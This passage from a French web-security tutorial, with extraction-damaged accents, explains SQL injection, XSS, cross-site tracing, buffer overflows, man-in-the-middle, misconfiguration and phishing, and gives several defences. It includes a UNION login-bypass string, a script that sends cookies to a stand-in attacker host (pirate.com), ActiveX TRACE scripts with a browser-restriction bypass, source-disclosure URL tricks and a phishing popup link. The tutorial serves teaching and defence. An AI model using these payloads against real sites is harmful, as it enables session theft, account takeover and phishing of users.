Lutilisateur aura la possibilit a laide de ce script, de cr er un chier qui sera interpr t par le module e` e ee php du serveur, et qui listera le contenu du r pertoire du script. Il est donc envisageable dex cuter une e e ` multitude de commande et den r cup rer le r sultat a laide du chier cr er sur le serveur Web. e e e e La clause UNION cr e donc dautres tuples provenant de la seconde requ te. Il serait donc envisageable e e de cr er une seconde requ te bidon an quelle nous retourne un r sultat connu an de passer outre e e e lauthentication dun site Web bas e sur la comparaison du mot de passe entr par lutilisateur et celui e e contenu dans la base de donn e. e Dans lexemple ci-dessous, le mot de passe est recherch dans la table des utilisateur en fonction de leurs e nom. Il serait donc possible dentrer : username : x UNION SELECT 1+1, 2+2, 3+3, 4+4 /* userpass : 4

$query = "select * from user where nom=$username"; $result = requete($query); $row = mysql_fetch_array($result); //rcupration du mot de passe dans la base de donne e e e $passFromBD = $row[pass]; //comparaison du mot de passe entr avec celui de la BD e if (strcmp($passFromBD , $userpass) == 0) { //Utilisateur Authentifi e } else{ //Utilisateur NON Authentifi e
22

Pre-HyperTexte-Processor, langage de scripts pour la cr ation de pages Web dynamiques e

34

Jo l Winteregg - Massino Iritano, IICT c e

Tutoriel s curi e e

La requ te r sultante sera donc : e e select * from user where nom=x UNION SELECT 1+1, 2+2, 3+3, 4+4 ; /* Aucun tuple ne sera retourn par le premier SELECT, puisque lutilisateur x nexiste pas. Un seul e e tuple sera donc retourn et correspondra aux additions23 . Voici donc le r sultat contenu dans le resultset e ($result) : nom 2 pass 4 cookie 6 nomEntier 8

` Lauthentication sera donc possible a laide de cette m thode, mais le cracker sera logg en tant quun e e utilisateur non existant. Nous remarquons donc que si le nom dutilisateur tir de la requ te ($query) ou e e du champ entr par le cracker (x UNION SELECT 1+1, 2+2, 3+3, 4+4 /*) est utilis dans la suite du e e code php an de tirer de nouvelles informations dans la base de donn e, ceci levera une erreur dans le e ` script ou lapplication Web, puisque ces noms dutilisateurs ne correspondent a aucun utilisateur valide dans la base de donn e. e ` Impasse Lorsquun test de vuln rabilit dinjection SQL a laide de param` tres s par s par des vire e e e e gules (exemple : 9, 9, 9), retourne une erreur du genre : Too many arguments where supplied for pro` cedure sp StoredProcedureName, cela indique que la requ te SQL fait directement appel a une requ te e e ` stock e sur le SGBD. Il sera donc impossible dinjecter des requ tes SQL a destination dune de ces e e proc dure stock e. e e

4.3
4.3.1

Cross-Site-Scripting XSS
Principe

Le but de cette attaque est dobtenir les donn es de session de la victime an dusurper son identit . Etant e e donn que le protocole r gissant le Web (HTTP) est un protocole amn sique (sans etat), la seule facon e e e ` e de reconnatre un client est de lui envoyer un cookie24 quil pr sentera a chaque appel de page Web sur le site concern par ce cookie. Sans lexistance de ce principe, le client aurait, sur un site n cessitant un e e ` enregistrement pour lacc` s a ses services, lobligation de sauthentier a chaque appel dune nouvelle e ` page. Cette m thode serait donc tr` s lourde (surtout pour le client). Les cookies permettent donc de stoe e ` cker des informations sur le client (si celui-ci est authenti , par exemple) quil renverra a chaque appel e de page vers le serveur Web concern par le cookie. e
23 24

Cette syntaxe est possible sur MySql Petit chier texte, fourni par le serveur, pr sent a chaque appel de nouvelle page par le client e e`

35

Jo l Winteregg - Massino Iritano, IICT c e

Tutoriel s curi e e

F IG . 25 Principe dune attaque XSS Explications sur le principe du XSS (Figure 25) : ` 1 - La victime se connecte sur un site Web et sauthentie a laide dune paire login/password. 2 - Le serveur lui renvoie un cookie indiquant quelle est bien authenti e et que le browser de la e ` victime pr sentera a chaque appel de nouvelle page sur le site concern . Ce cookie aura une dur e e e e ` ` de vie limit e, mais sera remis a jour a chaque appel de nouvelle page. Donc si la victime neffectue e ` aucune requ te vers le site sur lequel elle est authenti e, elle sera contrainte de sauthenter a e e nouveau lorsque la dur e de vie du cookie sera d pass e. e e e 3 - Une des pages charg e par le victime contiendra un scripte malveillant, qui enverra son cookie e ` a son insu vers le site du pirate. Nous aborderons la syntaxe de ces scripts dans la section suivante (Section 4.3.2). 4 et 5 - Le pirate a ensuite la possibilit de r cup rer le cookie de la victime (qui est maintenant e e e connu de son site) de plusieurs facons. Il peut simplement consulter les journaux (logs) de son ser veurs an de retrouver les param` tres emis par la victime, qui contiendront son cookie. Il pourrait e aussi ecrire une petite application Web qui r cup rerait automatiquement le param` tre contenant e e e le cookie et qui le transf rerait au pirate. e 6 - Le pirate place maintenant le cookie quil a r cup rer dans le r pertoire pr vu a cette effet par e e e e ` son browser et se connecte sur le site Web o` la victime est authenti e. Il se fera donc passer pour u e la victime aupr` s de ce site Web. e 4.3.2 Scripts malveillants

Le Cross Site Scripting utilise donc les possibilit offertes par des langages de scripts sex cutant du c t e e oe ` client (javascript par exemple). Il est donc possible a laide dun petit script client dafcher le contenu

36

Jo l Winteregg - Massino Iritano, IICT c e

Tutoriel s curi e e

dun cookie ou m me de lenvoyer comme param` tre sur un autre site. Cest donc cette oportunit qui e e e sera utilis e dans le cadre du Cross-Site-Scripting. Le pirate doit donc etre en mesure dins rer un de e e ces scripts malveillants sur un site Web, mail ou tout autre document qui sera consult par la victime e ` lorsque celle-ci sera authenti e sur le site en question. Linsertion de tels scripts impliquent la mise a e disposition dun forum ou tout autre sorte de possibilit de d pos de messages par des clients. e e Voici donc un petit script qui ins r dans une page HTML, permettra dafcher le contenu du cookie du ee client dans une fen tre de popup : e
<script>alert(document.cookie);</script>

Il sera donc facile denvoyer le contenu du cookie sans que lutilisateur ne sen rende compte. Examinons de plus pr` s le script ci-dessous : e
<img src="http://www.urlinexistante.com/im.jpg" onerror="window.location= http://www.pirate.com/recuperationcookie.jsp?cookie=+document.cookie;">

Il est donc possible de rediriger le client (browser Web) en cas de non chargement dune image, sur une URL quelconque. Cette oportunit est donc utilis e dans ce cas de XSS. En effet, comme limage e e sp ci e nexiste pas, le script onerror= ... va etre ex cut et va envoyer le contenu du cookie du client e e e e en param` tre a la lapplication Web sp cie (http ://www.pirate.com/recuperationcookie.jsp). e ` e 4.3.3 Protection contre le XSS

e Deux types de prot ctions contre le Cross-Site-Scripting ont et mises au point : e 1. Mesure du c t serveur : Contr le minutieux des param` tres entr par lutilisateur (client) an oe o e e de supprimer toute tentative de d pos de script qui seraient ensuite interpr t par le browser Web e ee des autres clients (des victimes). 2. Mesure du c t client : Interdire lutilisation de la m thode document.cookie qui permet dafoe e ` e cher le contenu du cookie de la page active. Cette mesure a et mise en place par Microsoft en octobre 2003 dans Internet Explorer 6 (Service Pack 1), permettant ainsi de supprimer lutilisation de cette m thode en activant loption httponly. e Les mesures prises du c t serveur rendent de plus en plus difcile linsertion de scripts malveillants sur oe des forums ou des mails. En effet les param` tres entr s par lutilisateur sont pars 25 et toute tentative e e e dinsertion de scripts est echap e a laide de caract` res sp ciaux ou tout simplement effac e avant d tre e ` e e e e enregist sur le serveur. Il faut donc maintenant tester et etudier le parseur mis en place sur le serveur e an de trouver une faille (combinaison de balises ou autre) permettant de le tromper. Les mesures mises en place par Microsoft dans Internet Explorer 6 (par loption httponly), sont quant ` a elles contournables via un nouveau type dattaques appel Cross-Site-Tracing (principe expliqu dans e e la section 4.4).
25

Tous les caract` res son parcouru an de trouver une suite de caract` re signicatif e e

37

Jo l Winteregg - Massino Iritano, IICT c e

Tutoriel s curi e e

4.4
4.4.1

Cross-Site-Tracing XST
Principe de la requ te HTTP TRACE e

` La requ te TRACE est une m thode decho permettant a un client Web davoir en retour la requ te quil e e e a emis. Lexemple ci-dessous illustre son utilisation :
toto@totocomputer:$ telnet localhost 80 Trying 127.0.0.1... Connected to totocomputer. Escape character is ]. TRACE / HTTP/1.1 Host: toto.ch HTTP/1.1 200 OK Date: Thu, 22 Jul 2004 23:30:03 GMT Server: Apache/2.0.49 (Unix) DAV/2 PHP/4.3.7 Transfer-Encoding: chunked Content-Type: message/http TRACE / HTTP/1.1 Host: toto.ch

Cette m thode est donc surtout utilis e pour le debugage puisquelle permet de voir exactement ce que e e recoit le serveur lors dune requ te dun client. Celle-ci est activ e par d faut sur les serveurs Web, puis e e e quelle est consid r e comme potentiellement non dangereuse. ee

4.4.2

Principe du XST

Le but de cette attaque est donc dacc der au cookie sans lutilisation de la m thode document.cookie e e puisque celle-ci est impossible lorsque loption httponly est activ e sur un browser. Cest donc l` que e a la m thode TRACE nous est utile, puisquelle nous retournera les information envoy e par le client, e e y compris le fameux cookie de session. Il nest cependant pas si simple de forcer Internet Explorer ` a envoyer et r cup rer un TRACE, puisque celui-ci nautorise que des GET ou POST dans une page e e ` HTML. Il faut donc avoir recours a des scripts evolu s (ActiveX) an de mettre en place une telle e attaque. Le code ci-dessous aura pour effet dafcher les information emises par un TRACE depuis la page Web courante :
<script type="text/javascript"> <!-function sendTrace () { var xmlHttp = new ActiveXObject("Microsoft.XMLHTTP"); xmlHttp.open("TRACE", "http://foo.bar",false); xmlHttp.send(); xmlDoc=xmlHttp.responseText; alert(xmlDoc); } //-->

38

Jo l Winteregg - Massino Iritano, IICT c e

Tutoriel s curi e e

</script> <INPUT TYPE=BUTTON OnClick="sendTrace();" VALUE="Send Trace Request">

e e e La gure 26, illustre lex cution du code ci-dessus. Linconv nient de cette m htode viens dune des po-

F IG . 26 R sultat dun TRACE effectu depuis un Browser Web (IE) e e ` lice de s curit des browser, qui interdit louverture dune connexion vers un h te appartenant a un autre e e o nom de domaine que la page contenant le script. En effet, si aucun serveur Web du domaine naccepte la ` m thode TRACE, lattaque ne pourra pas avoir lieu. Cette restriction aide a la pr vention du cross-sitee e scripting et permettra uniquement une connexion vers unhote.eivd.ch si la page contant le script provient de eivd.ch. Internet Explorer (comme ses fr` res) permet de contourner cette police de s curit puisquil e e e persiste certains bugs. Voici donc un exemple de script permettant de contourner cette restriction :
<script type="text/javascript"> <!-function xssDomain() { var oWin=open("blank.html","victim","width=500,height=400"); var oVuln=oWin.external; oWin.location.href="http://foo.bar"; setTimeout( function () { oVuln.NavigateAndFind(javascript:xmlHttp= new ActiveXObject("Microsoft.XMLHTTP"); xmlHttp.open("TRACE","http://foo.bar",false); xmlHttp.send(); xmlDoc= xmlHttp.responseText; alert("Show all headers for foo.com including cookie without using document.cookie \\n" + xmlDoc); "",""); }, 2000 ); } //--> </script> <INPUT TYPE=BUTTON OnClick="xssDomain();" VALUE=TRACE XSS Domain>

Une nouvelle fen tre vide est donc ouverte an de permettre la connexion de celle-ci et de lenvoi des e informations dauthentication sur le site du cracker.

39

Jo l Winteregg - Massino Iritano, IICT c e

Tutoriel s curi e e

4.4.3

Protection contre le XST

An n de se prot ger du cross-site-tracing, il suft dans le chier de conguration du serveur Web e (httpd.conf pour Apache), dy indiquer que la m thode TRACE nest pas autoris e. Voici donc la cone e ` guration quil faut appliquer a Apache :
RewriteEngine on RewriteCond %{REQUEST_METHOD} TRACE RewriteRule .* [F]

Le module mod rewrite26 est utilis an dindiquer que toute m thode TRACE est r ecrite en lenvoi e e e dun code r ponse 403 (forbiden) au client. e

4.5
4.5.1

Buffer Overow
Buffer overow sur le serveur Web lui-m me e

Le principe du buffer overow27 , reste totalement le m me sur un serveur Web, que sur une applicae tion quelconque ou un stack de communication dun syst` me dexploitation. En effet, il sagit dun e d bordement de tampon non pr vu par le programmeur. La diff rence avec bon nombre dapplications, e e e et quune forte interaction des clients est possible sur les serveurs Web. En etudiant en profondeur le traitement des requ tes HTTP sur le serveur Web (en mode debug), il sera possible de contr ler lalloe o cation de m moire de chaque buffer an de rechercher un d bordement possible. Il sera ensuite possible e e de trouver de quel(s) param` tre(s) emis par le client provient l ventuel d bordement. Il sufra ensuite e e e ` de formatter la requ te correspondante a ce buffer overow an de faire crasher lapplication serveur e distante ou dex cuter un code arbitraire. e Ce genre dattaque est possible sur des applications serveurs ecrites en C ou en dautres langages de bas o niveau, puisque comme expliqu dans la section buffer overow (Section3.4), le langage C, ne contr le e pas la taille des param` tres pass en m moire. Comme la plupart des serveurs Web sont ecrit en C, cette e e e attaque reste dactualit sur ceux-ci. e 4.5.2 Buffer overow sur une application Web

Applications ecrites en java Le contr le des indices de tableaux est une d fense 100% efcace contre o e les attaques de buffer Overow. Elles sont donc impossible en Java, puisque Java contr le automatiqueo ment que lindex dun tableau soit dans un intervalle valide. Ainsi une erreur sera lev e lorsque lindice e dun tableau sera hors de la limite de celui-ci. En C, cette subtilit nest pas possible puisque tableaux et e pointeurs repr sentent une structure similaire et quil est impossible de contr ler la taille dun tableau se e o cachant derri` re un pointeur. e
26 27

Module permettant la r ecriture dURL sous Apache e Principe abord dans la section 3.4 e

40

Jo l Winteregg - Massino Iritano, IICT c e

Tutoriel s curi e e

` Les seuls possibilit s de buffer overow en Java, seront donc de sattaquer directement a limpl mentation e e de la machine virtuelle. Comme celle-ci est ecrite en C, il faudrait se pencher sur limpl mentation de e la machine virtuelle an de d couvrir d ventuels buffer overows d clenchables depuis des m thodes e e e e fournies par lAPI28 Java. Applications ecrites PHP Au m me titre que Java, PHP est un langage de haut niveau. Il sera donc e impossible de tenter un buffer overow sur du code PHP. Il faudra donc se pencher sur limpl mentation e de son interpr teur (libphpX.so) an de d couvrir d ventuelles failles dans son code. e e e

4.6

Man in the middle

` Cette attaque consiste a sintercaler dans une connection Internet s curis e lors de l change des cere e e ticats. Lorsquune connection s curis e commence, le site envoie son certicat contenant diff rentes e e e informations dont la cl publique. Ensuite, le navigateur de linternaute g n` re une cl sym trique de e e e e e session (Cs n cessaire pour la suite du trac des donn es) qui est crypt e a laide de la cl publique e e e ` e du site. De cette facon, seul le d tenteur de la cl priv e (site Web) pourra d crypter la cl sym trique de e e e e e e session envoy e par le client. Dans le cas du man in the middle, le cracker va devoir echanger les cl s e e ` e a l tablissement de la connection, comme lillustre la Figure 27.

F IG . 27 Attaque Man in the middle La notion de certicats (permettant dauthentier la cl publique emise par le site Web) permet de contrer e
28

` Application Programming Interface, m thodes mises a disposition des programmeurs Java e

41

Jo l Winteregg - Massino Iritano, IICT c e

Tutoriel s curi e e

` ce genre dattaques, puisque a laide de celui-ci, le client se rendra compte de lin xactitude de la cl e e publique du site Web.

4.7

Erreur de conguration du serveur Web

Il nest pas trivial de congurer correctement un serveur Web. Il se peut donc que certaines fonctionnalit e activ es par d faut restent en fonction lors de lexploitation du serveur. De plus, il faut que celui-ci soit e e ` ` tenu a jour a laide des diff rents patch29 fourni par les concepteurs de lapplication serveur. Il se pourrait e donc que certaines failles subsistent. Nous pouvons donc citer parmi les plus populaire des script kiddies30 (dans les ann es 2002 - 2003), les e failles permettant dafcher le code de lapplication serveur (ASP ou JSP) de la page HTML retourn e. e ` Pour un script ASP sex cutant sur un serveur Microsoft (IIS), il sufsait donc dajouter : :$DATA a la e n de lURL an dobtenir son code. En voici une illustration : http ://www.monSite.ch/scripts/chier.asp : :$DATA Pour un serveur Apache-Tomcat permettant lex cution dapplication Java, il sufsait de remplacer lexe tension du chier *.jsp par *.js%70, an dafcher le code correspondant du chier jsp demand : e http ://www.monAutreSite.ch/chier.js%70 Il est aussi tr` s important de toujours retirer les chiers dexemples du serveur, puisque les eventuels e ` cracker auront aussi le code a leur disposition et pourront l tudier an de d couvrir d ventuels failles e e e exploitables par ceux-ci.

4.8

Commentaires laiss s dans le code HTML e

Bon nombre de d veloppeurs ins rent des commentaire dans leurs pages HTML lors du d veloppement e e e de leur application Web. Ces commentaires sont utilis s comme aide m moire ou comme m thode de e e e d bugage. Il est donc probable que le d veloppeur ne les retire pas ou omette de les retirer lors de la mise e e en exploitation de son application Web. Ceux-ci seront donc dune grande utilit au cracker, puisquils e permettront peut etre de comprendre des fonctionnalit s ou des m thodes de traitement non divulg es e e e par la page HTML retourn e a lutilisateur. De plus il nest pas impossible dobserver dans certain cas, le e ` mot de passe permettant lauthentication sur le site Web directement ins r comme commentaire dans ee la page HTML retourn e au client (vive les aides m moire). e e Les authentications effectu es a laide de script ou programme sex cutant du c t client (Javascript, e ` e oe ` Applet, etc...) sont facilement contournables puisque le code est a disposition du client (ou cracker), qui pourra l tudier de facon a passer outre lauthentication requise. e `
29 30

` Bout de code de mise a jour du logiciel serveur Cracker d butant e

42

Jo l Winteregg - Massino Iritano, IICT c e

Tutoriel s curi e e

4.9

Le phishing

Il sagit dune technique tr` s populaire, puisquelle ne requiert pas de grandes connaissances en informae ` tique et t l informatique. En effet le principe de cette technique est de faire croire a une page ofcielle, ee tout en etant en mesure de r cup rer les informations donn es par la victime. e e e En cliquant sur un lien depuis un mail de votre banque, vous tombez sur le site principal. Tout est parfaitement authentique, y compris la barre dadresse. Seulement une fen tre popup sest ouverte, vous e demandant de conrmer vos informations condentielles, comme indiqu dans le mail. Attention, rien e ` ne vous permet de penser que les donn es que vous entrez vont etre transmises a votre banque. e Il existe au moins deux mani` res de cr er un popup tout en afchant une nouvelle page, a partir dun e e seul clic. De cette mani` re, on cr e lillusion que le popup provient de la nouvelle page. En javascript, e e on peut cr er un lien de ce type : e
<A href="javascript: window.open(http://evil.com, scamwindow, location=no, width=200, height=200); document.location=http://microsoft.com "> http://microsoft.com </A>

Ce lien afchera donc http ://microsoft.com dans la page HTML, alors que lorsque lon cliquera dessus, un popup afchera le contenu du site http ://evil.com et le browser Web chargera la page daccueil de microsoft. Le popup pourrait donc simplement afcher le contenu du site du cracker, contenant les champs de saisies permettant aux clients de la banque de sauthentier. Le cracker aura ainsi la possibilit de e r cup rer les informations entr es par le client de la banque (victime) par linterm diaire de son site Web. e e e e Il est egalement possible de d tourner une redirection HTTP (code 303, par exemple). Le protocole pere ` met dinclure un message en HTML, qui safchera juste avant de passer a la nouvelle page sur certains navigateurs. Il sera donc possible dafcher le popup dans ce code. Cependant cette attaque ne peut fonctionner que si la barre dadresse du popup nest pas afch e, sans quoi on verrait quelle nappartient pas e au site. Le cracker pourrait donc placer le lien de son site dans le mail envoy a la victime. Son site opp rerait e` e ensuite une redirection sur le site voulu, tout en afchant un popup (int gr dans le message de redirece e tion).

R f rences ee

Les parties, Recherche dinformations et Intrusion sont tir es du totorial de Massino Iritano (dipl m e o e HES). Buffer Overows : Principes : http ://www.mcs.csuhayward.edu/ simon/security/boo.html Slides sur les principes des buffer overows : http ://www.infosys.tuwien.ac.at/Staff/tt/internet security/slides/slides5.pdf

43

Jo l Winteregg - Massino Iritano, IICT c e

Tutoriel s curi e e

Explications tr` s d taill es (avec exemples) dOlivier Gay (EPFL) sur toute sorte de buffer overe e e ows : http ://ouah.kernsh.org/advbof.pdf D nition et description de toute sorte dattaques : e http ://www.securiteinfo.com/ Failles et informations sur la s curit informatique : e e http ://www.secuobs.com/ White paper de SPI Dynamics sur linjection SQL : http ://www.spidynamics.com/whitepapers/WhitepaperSQLInjection.pdf Diff rents White papers de SPI Dynamics sur la s curit Web : e e e http ://www.spidynamics.com/support/whitepapers/index.html Slides sur le cross-site-scripting (XSS) : http ://www.lsdp.net/ lotfree/doc/XSS/ces-xss.pdf Informations sur le cross-site-scripting, les troyens et backdoors : Cours de s curit (SSI) de Christian Buchs (EIVD) e e White paper sur le cross-site-tracing (XST) : http ://www.cgisecurity.com/whitehat-mirror/WhitePaper screen.pdf Didacticiel dapprentissage de diff rentes attaques Web ( dit et cr e par lOWASP) : e e e e http ://sourceforge.net/project/showles.php ?group id=64424 Informations sur le phishing : The Hackademy Journal num ro N14 e Informations sur le SQL Injection via PHP et MySql ainsi que sur les heap overows : The Hackademy Manuel N9 Livre sur le Hacking : Hacking Exposed (Fourth Edition), ISBN : 0-07-222742-7

44

Jo l Winteregg - Massino Iritano, IICT c e

You might also like